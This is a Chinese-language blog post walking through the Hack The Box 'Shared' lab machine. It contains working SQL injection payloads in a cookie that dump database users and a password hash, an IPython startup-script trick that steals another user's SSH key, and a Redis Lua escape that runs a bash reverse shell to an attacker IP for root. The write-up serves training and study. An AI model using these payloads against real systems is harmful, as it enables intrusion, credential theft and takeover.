freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

HTB Shared
xiaopanghacker 2022-08-22 18:09:54 136414
所属地 湖南省

靶场搭建

靶场地址:https://app.hackthebox.com/machines/Shared

进入靶场地址之后,先连接到靶场网络

点击右上角连接按钮

弹出窗口,选择第一个免费的选项SG FREE1


然后选择第一个选项

默认选项点击下载,将连接配置文件下载下来

之后在kali上命令行内使用命令直接连接

看到complete,还有刷新hackthebox也页面发现已经在线,说明连接成功

然后打开靶机页面,点击加入机器

加入机器之后就看到了靶机的ip地址为10.10.11.172

ping一下靶机,测试连通性

靶场搭建完成




渗透测试

先扫描一下端口服务开放情况

nmap -sS -p 0-65535 -A 10.10.11.172

开放了80、443端口,存在WEB页面

开放了22端口,存在ssh服务


先访问WEB页面

需要修改hosts文件,否则访问不了,子域名也要加入

vi /etc/hosts

页面为一个商城

数据库为mysql,服务器中间件为Nginx 1.18.0

查找PrestaShop和Nginx的版本漏洞,发现不存在版本漏洞

在每个输入框进行测试,没有找到漏洞

然后测试了一下看有没有逻辑漏洞,提交订单,支付的逻辑漏洞

在支付页面,发现cookie中存在产品的名字,可能存在与数据库交互

可以测试一下是否存在sql注入

%7B为 { 的url编码,%22为 " 的url编码, %3A为 : 的url编码, %7D为 } 的url编码

所以cookie中custom_cart的值为{"CRAAFTKP":"1"},即为{"商品名":"购物车中商品的编号"}


经过测试发现使用单引号闭合,存在sql注入

%7B%22CRAAFTKP' and 1=1 #%22%3A%221%22%7D
%7B%22CRAAFTKP' and 1=2 #%22%3A%221%22%7D

接下来利用order by来爆出字段数,字段数为3

%7B%22CRAAFTKP' order by 3 #%22%3A%221%22%7D
%7B%22CRAAFTKP' order by 4 #%22%3A%221%22%7D

接下来利用联合查询来进行注入

%7B%22CRAAFTKP' and 1=2 union select 'a','b','c'#%22%3A%221%22%7D
发现有一个回显位,为第二个参数

接下来爆出数据库名、用户名、数据库版本
%7B%22CRAAFTKP' and 1=2 union select 'a',database(),'c'#%22%3A%221%22%7D
数据库名为checkout

%7B%22CRAAFTKP' and 1=2 union select 'a',version(),'c'#%22%3A%221%22%7D
数据库版本为10.5.15-MariaDB-0+deb11u1

%7B%22CRAAFTKP' and 1=2 union select 'a',user(),'c'#%22%3A%221%22%7D
用户名为checkout@localhost


接下来再爆出表名、字段名、数据

%7B%22CRAAFTKP' and 1=2 union select 'a',group_concat(table_name),'c' from information_schema.tables where table_schema = database()#%22%3A%221%22%7D
爆出两个表,user表和product表

%7B%22CRAAFTKP' and 1=2 union select 'a',group_concat(column_name),'c' from information_schema.columns where table_schema = database() and table_name = 'user'#%22%3A%221%22%7D
在user表中有三个字段id,username,password

%7B%22CRAAFTKP' and 1=2 union select 'a',group_concat(username),'c' from user#%22%3A%221%22%7D
用户名为james_mason

%7B%22CRAAFTKP' and 1=2 union select 'a',group_concat(password),'c' from user#%22%3A%221%22%7D
密码hash为fc895d4eddc2fc12f995e18c865cf273 通过在线md5查询网站查出密码为Soleil101

知道了用户名为james_mason,密码为Soleil101

开启了22端口ssh服务,尝试登录,登录成功

在目录下发现一个script.sh可执行文件,文件内容为创建权限为777 的/opt/scripts_review/profile_default/startup目录,并且在目录下创建一个script.py文件,但是发现创建过了一会又被删除了

还发现目录下有linpeas_linux_amd64文件,网上搜索了一下,这个工具适用于枚举linux操作系统几乎所有的可提权项。

存在三个可以登录的用户

工具显示存在CVE-2021-3560和CVE-2022-0847可以用于提权

权限太低,两种方法都提权失败

还发现目录下有文件pspy64文件,pspy64这个工具可以枚举用户的进程

发现dan_smith这个用户似乎一直在打开ipython,又关闭ipython,又进入/opt/scripts_review这个目录,打开ipython


查看ipython版本为8.0.0

ipython8.0.0存在越权漏洞,可以以其他用户的身份来执行代码

exp就是/home/james_mason目录下的scripts.sh里的内容,不过要将输出位置更改

mkdir -m 777 /opt/scripts_review/profile_default/
mkdir -m 777 /opt/scripts_review/profile_default/startup
echo "import os; os.system('cat ~/.ssh/id_rsa > /dev/shm/rsa')" > /opt/scripts_review/profile_default/startup/script.py


然后等dan_smith运行ipython,就可以获取到它的密钥

将密钥粘贴到kali中新建文件

提高文件权限,登录时就不用输入密码

chmod 600 key

ssh -i key dan_smith@10.10.11.172

发现一个sysadmin的组很像管理员

查看这个组拥有的文件

find / -group sysadmin 2>/dev/null

执行这个文件似乎是来用密码来连接redis

我们将此文件下载到kali中,然后再kali中监听6379端口,然后再kali中运行文件,就能获得密码

scp -i key dan_smith@10.10.11.172:/usr/local/bin/redis_connector_dev ./

知道了redis的密码,系统为Debian系统,并且redis的版本为6.0.15,此版本redis在Debian系统中存在逃逸漏洞

kali的连通靶机的网卡ip

在靶机上连接redis,利用逃逸漏洞执行命令,反弹shell

echo "bash -i >& /dev/tcp/10.10.14.8/1234 0>&1" > /dev/shm/redis
redis-cli --pass F2WHqJUz2WEz=Gqq
在kali上监听1234端口(nc -lvp 1234)
eval 'local l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = l(); local f = io.popen("cat /dev/shm/redis | bash"); local res = f:read("*a"); f:close(); return res' 0

成功收到root权限shell

拿到flag

# 渗透测试 # 网络安全 # web安全 # 系统安全 # 网络安全技术
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 xiaopanghacker 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
xiaopanghacker LV.6
这家伙太懒了,还未填写个人描述!
  • 36 文章数
  • 46 关注者
ATT&CK红队评估(红日靶场一)
2022-10-28
VnlnHub GeminiInc-Pentest-v2
2022-10-26
VnlnHub GeminiInc-Pentest
2022-10-22
文章目录